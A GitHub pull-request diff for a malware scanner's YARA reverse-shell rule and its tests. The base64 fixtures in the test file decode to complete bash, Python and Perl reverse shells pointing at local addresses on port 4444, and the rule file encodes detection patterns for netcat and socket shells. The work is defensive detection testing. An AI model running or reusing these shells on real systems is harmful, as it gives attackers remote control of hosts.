Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 5 additions & 2 deletions src/skillspector/yara_rules/malware.yar.b64
Original file line number Diff line number Diff line change
Expand Up @@ -12,8 +12,11 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg
ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j
YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh
KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0
XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg
PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr
XCguezAsNDAwfVNPQ0tfU1RSRUFNLnswLDQwMH1cLmNvbm5lY3RcKC57MCw0MDB9KG9zXC5kdXAy
XHMqXCh8c3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoKS9zICAgICAgICAgICAgIA0K
ICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDQwMH1zb2NrZXRc
cypcKFxzKlNPQ0suezAsNDAwfShvcGVuXHMqXChccypTVEQoSU58T1VUfEVSUil8ZXhlY1xzKlwo
XHMqWyInXVwvYmluXC8oYmEpP3NoKS9zICAgICAgICAgICAgIA0KICAgICAgICAkcGhwX2Zzb2Nr
ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1
YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg
ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl
Expand Down
56 changes: 56 additions & 0 deletions tests/nodes/analyzers/test_static_yara.py
Original file line number Diff line number Diff line change
Expand Up @@ -90,6 +90,34 @@ def _reverse_shell_fixture() -> str:
return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode()


def _python_socket_shell_fixture() -> str:
"""Complete Python reverse shell: socket client plus fd redirection and shell spawn.

Base64-encoded per this module's antivirus-safety convention.
"""
return base64.b64decode(
"aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9z"
"CnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0p"
"CnMuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLDAp"
"Cm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJw"
"cm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSkK"
).decode()


def _perl_socket_shell_fixture() -> str:
"""Complete Perl reverse shell: socket client plus stdio redirection and shell exec.

Base64-encoded per this module's antivirus-safety convention.
"""
return base64.b64decode(
"dXNlIFNvY2tldDsKJGk9IjEwLjAuMC4xIjskcD00NDQ0Owpzb2NrZXQoU09DS0VULFBG"
"X0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTsKY29ubmVjdChT"
"T0NLRVQsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpOwpvcGVuKFNURElOLCI+"
"JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsIj4m"
"U09DS0VUIik7CmV4ZWMoIi9iaW4vc2ggLWkiKTsK"
).decode()


def _has_rule(findings: list, rule_name: str) -> bool:
"""Return True when a finding message references a specific YARA rule."""
return any(rule_name in f.message for f in findings)
Expand Down Expand Up @@ -592,6 +620,34 @@ def test_builtin_malware_finding_preserved(self):
assert _has_rule(findings, "reverse_shell")
assert any(f.rule_id == "YR1" for f in findings)

@pytest.mark.parametrize(
"content, filename",
[
(_python_socket_shell_fixture(), "shell.py"),
(_perl_socket_shell_fixture(), "shell.pl"),
],
)
def test_builtin_reverse_shell_matches_complete_socket_shells(
self, content: str, filename: str
) -> None:
assert _has_rule(_run_builtin(content, filename), "reverse_shell")

@pytest.mark.parametrize(
"content, filename",
[
(
"import socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
's.connect(("10.0.0.1", 4444))\n',

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[P0] This positive fixture has no reverse-shell action—only normal socket creation and connection—so the test pins a CRITICAL false positive. Tighten the rule to require bounded shell/descriptor-redirection evidence, make this a negative regression, and use an encoded complete reverse-shell fixture for the positive path.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in c20dec8 (pushed to fix/592-multiline-reverse-shell).

Both signatures now require bounded shell-specific evidence instead of matching any socket client: the Python pattern requires os.dup2 or a subprocess call within 400 chars after connect; the Perl pattern requires STD(IN|OUT|ERR) redirection or exec of /bin/sh within 400 chars after socket creation.

Paired regressions added: encoded complete reverse-shell fixtures are the positive path for both languages, and the former positive ordinary-client fixtures are now negative regressions, per the test module's AV-safety convention. The packaged base64 rule was re-encoded from the CRLF original, so the decoded diff is exactly two lines with no full-file churn. tests/nodes/analyzers/test_static_yara.py: 90 passed; ruff lint and format clean.

Please re-review.

"client.py",
),
("use Socket;\nsocket(SOCKET, PF_INET, SOCK_STREAM, 6);\n", "client.pl"),
],
)
def test_builtin_reverse_shell_ignores_plain_socket_clients(
self, content: str, filename: str
) -> None:
assert not _has_rule(_run_builtin(content, filename), "reverse_shell")

def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path):
_write_rule(
tmp_path,
Expand Down
Loading